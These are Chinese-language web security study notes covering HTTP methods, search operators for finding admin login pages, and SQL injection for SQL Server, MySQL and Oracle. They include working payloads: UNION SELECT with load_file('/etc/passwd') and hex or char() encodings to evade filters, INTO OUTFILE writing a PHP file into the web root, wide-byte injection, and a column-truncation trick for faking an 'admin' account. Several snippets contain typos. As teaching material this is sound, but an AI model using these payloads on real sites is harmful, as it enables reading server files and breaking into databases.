目录
HTTP请求方法
(1)HEAD
HEAD方法除了服务器不能在响应里返回消息主体外,其他都与GET方法相同。此方法经常用来被检测超文本链接的有效性、可访问性和最近的改变。攻击者编写扫描工具时,就经常用此方法,因为只测试资源是否存在,而不用返回消息主题,所以速度一定是最快的。一个经典的HTTP HEAD请求如下:
HEAD /index.php HTTP/1.1
HOST:WWW.xxer.com
(2)PUT
PUT方法用于请求服务器把请求体中的实体存储在资源请求下,如果请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,作为指定资源的最新修改版;如果请求指定的资源不存在,将会创建这个资源,且数据位请求正文,请求如下:
PUT /input.txt
HOST:WWW.xxser.com
Content-Length: 6
123456
这段HTTP PUT1请求将会在主机根目录下创建input.txt,内容为123456。通常情况下,服务器都会关闭PUT方法。
(3)OPTIONS
OPTIONS方法是用于请求获得由URL标识的资源在请求/响应的通信过程中可以使用的功能或选项。通过这歌方法,客户端可以在采取具体请求资源之前,决定对该资源采取何种必要措施。或者了解服务器的性能。HTTP OPTIONS请求如下:
OPTIONS / HTTP/1.1
HOST:www.xxser.com
HTTP/1.1 200 OK
Allow:OPTIONS, TRACE, GET, HEAD, POST
Server: Micorsoft-IIS/7.5
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Sun, 14 Jul 2023 15:50:58 GMT
Content-Length: 0
搜索Web信息
关键字 | 说明 |
site | 指定域名 |
intext | 正文中存在关键字的网页 |
intitle | 标题中存在关键字的网页 |
info | 一些基本信息 |
inurl | URL存在关键字的网页 |
filetype | 搜索·指定文件类型 |
例如:
查询网页标题含有“管理登录”并且为php类型的网站 intitle:管理登录 filetype:php
SQL注入漏洞
(1)SQL Server
数据库视图 | 说明 |
sys.databases | SQL Server 中所有数据库 |
sys.sql_logins | SQL Server 中所有的登录名 |
information_schema.tables | 当前用户数据库中的表 |
information_schema.columns | 当前用户数据库中的列 |
sys.all_columns | 用户定义对象和系统对象的所有列的联合 |
sys.database_principals | 数据库中每个权限或列异常权限 |
sys.database_files | 存储在数据库中的数据库文件 |
sysobjects | 数据库中创建的每个对象(例如约束、日志以及存储过程) |
无辜的函数,例如调用系统函数:
- select suser_name():返回用户的登录识别名
- select user_name():基于指定的标识号返回数据库用户名
- select db_name():返回数据库名称
- select is_member('db_owner'):是否为数据库角色
- select convert(int,'5'):数据类型转换
函数 | 说明 |
stuff | 字符串截取函数 |
ascii | 取ASCII码 |
char | 根据ASCII码取字符 |
getdate | 返回日期 |
count | 返回组中的条数 |
cast | 将一种数据类型的表达式显示转换为另一种数据类型的表达式 |
rend | 返回随即值 |
is_srvrolemember | 指示 SQL Server 登录名是否为指定服务器角色的成员 |
(2)MySQL
<1>三种注释
- #:注释从“#”字符到行尾
- --:注释从“--”序列到行尾,使用时后面需要跟上一个或多个空格,注:空格、tag都可以。
- /**/:注释从“/*”序列到“*/”序列中间的字符。
PS:/**/注释有一个特点,如下语句:
select id/*!55555,username*/ from users
执行结果如下:
+---------------+
| id | username |
+---------------+
| 1 | admin |
| 1 | xxser |
+---------------+
可以看到注释/**/没起作用,语句被正常执行了,其实这并不是注释,而是“/*!*/“感叹号是有特殊意义的,比如/*!55555,username*/的意思是:若 MySQL 版本号高于或等于5.55.55,语句将被执行,如果”!“后面不加入版本号,MySQL将会直接执行SQL语句。
<2>函数利用
load_file()函数读文件操作
SQL语句如下:
union select 1,load_file('/etc/passwd'),2,3,4,5,6#
通常,一些防注入语句不允许单引号的出现,那么使用一下语句绕过:
union select 1,load_file(0x2F6574632F706173737764),2,3,4,5,6#
"0x2F6574632F706173737764"为"/etc/passwd"十六进制转化结果,或者使用:
union select 1.load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6#
在SQL注入中,将经常会使用函数组合来达到某种目的,如:在浏览器返回数据时,有可能存在乱码问题,那么使用hex()函数将字符串转换为十六进制数据:
select hex(load_file(char(99,58,92,49,116,120,116)));
into outfile写文件操作
写入文件:
select '<?php phpinfo();?>' into outfile 'C:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'C:\wwwroot\1.php'
concat()函数,查询多个数据
select name from student where id=1 union select concat(user(),',',database(),',',version());
结果如下:
+------------------------------------------------+
| name |
+------------------------------------------------+
| admin |
| xxser |
| root@localhost,myschool,5.1.50-community-log |
+------------------------------------------------+
查询的三个值已成一列,并且以逗号隔开。逗号也可以用十六进制表示concat(user(),0x2c,databse(),0x2c,version())<==>concat_ws(0x2c,user(),database(),version())
函数 | 说明 |
length | 返回字符串长度 |
substring | 截取字符串长度 |
ascii | 返回ASCII码 |
hex | 把字符串转十六进制 |
now | 当前系统时间 |
unhex | hex的反向操作 |
floor(x) | 返回不大于x的最大整数值 |
md5 | 返回MD5值 |
group_concat | 返回带有来自一个组的连接的非NUL值的字符串结果 |
@@datadir | 读取数据库路径 |
@@basedir | MySQL 安装路径 |
@2version_compile_os | 操作系统 |
user | 用户名 |
current_user | 当前用户名 |
system_user | 系统用户名 |
databas | 数据库名 |
version | MySQL 数据库版本 |
<3>宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一般存在PHP+MySQL中。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当选项被打开时,使用GET、POST、Cookie所接收的 ' (单引号)、"(双引号)、\(反斜线)和NULL字符都会被自动加上一个反斜线转义,如 '$_GET['id'] ',令访问中的id参数为了单引号,则 id 为 \' ,“ \' ”为一个合法的字符串,也就没法闭合单引号实现字符型注入,但是输入 %d5' ,id为 ' '(id =' '),此单引号没有被转移,这样就可以突破PHP的转义,继续闭合SQL语句进行SQL注入。
<4>MySQL 长字符截断
在 MySQL 中的一个设置里有一个 sql_mode 选项,当 sql_mode 设置为 default 时,即没有开启STRICT_ALL_TABLES选项时( MySQL sql_mode默认即为 default ),MySQL 对插入超长的值只会提示 warning,而不是 errror,这样就可能导致一些问题。
新建一张表测试,表结构如下( MySQL 5.1):
CREATE TABLE USERS{
id int(11) NOT NULL,
username varchar(7) NOT NULL,
password varchar(12) NOT NULL
}
分别插入一下 SQL 语句(注入提示信息)
(1)插入正常的 SQL 语句
mysql> insert into users(id ,username,password) values(1,'admin','admin');
Query,OK,1 row affected (0.00 sec) //成功插入,无警告,无错误
(2)插入有错误的 SQL 语句,此时的“admin ”右面有三个空格,长度为8,已经超过了原有的规定长度。
mysql> insert into users(id ,username,password) values(2,'admin ','admin');
Query,OK,1 row affected, 1 warning (0.00 sec) //成功插入,一个警告
(3)插入有错误的 SQL 语句,长度超过了原有的规定。
mysql> insert into users(id ,username,password) values(3,'admin x','admin');
Query,OK,1 row affected, 1 warning (0.00 sec) //成功插入,一个警告
查询数据库,结果如下:
mysql> select username from users;
+----------+
| username |
+----------+
| admin |
| admin |
| admin |
+----------+
3 rows in set (0.00 sec)
可以看到三条数据都被插入到数据库,但值发生了变化,此时查询值的长度如下:
mysql> select length(username) from users where id =1;
+------------------+
| length(username) |
+------------------+
| 5 |
+------------------+
1 rows in set (0.00 sec)
mysql> select length(username) from users where id =2;
+------------------+
| length(username) |
+------------------+
| 7 |
+------------------+
1 rows in set (0.00 sec)
mysql> select length(username) from users where id =3;
+------------------+
| length(username) |
+------------------+
| 7 |
+------------------+
1 rows in set (0.00 sec)
可以发现第二条与第三条数据的长度都为7,也就是列的规定长度,由此可知,在默认情况下,如果数据超出列默认长度, MySQL 会将其截断。
假设有一处管理员登录是这样判断的,语句如下:
$sql = "select count(*) from users where username = 'admin' and password ='*****'";
只查询用户名为 admin 的用户,但另外两个长度不一致的 admin 用户也会被查询出,假设这条 SQL 语句没有任何注入漏洞,攻击者也可能登录到管理页面,仅需要注册一个“admin ”用户可轻易进入后台管理页面,像著名的 WordPress 就这样被攻击过。
(3) Oracle
在使用 union查询数据时,Oracle 规定,每次查询时后面必须跟表名,如果没有表名称,那么查询将不成立,也就是说是一个错误的 SQL 语句,在MySQL 或 SQL Server 中可以直接使用:
union select null,null,null ...
但在Oracle 中必须使用:
union select null,null,null ... from dual
此时的dual就是Oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。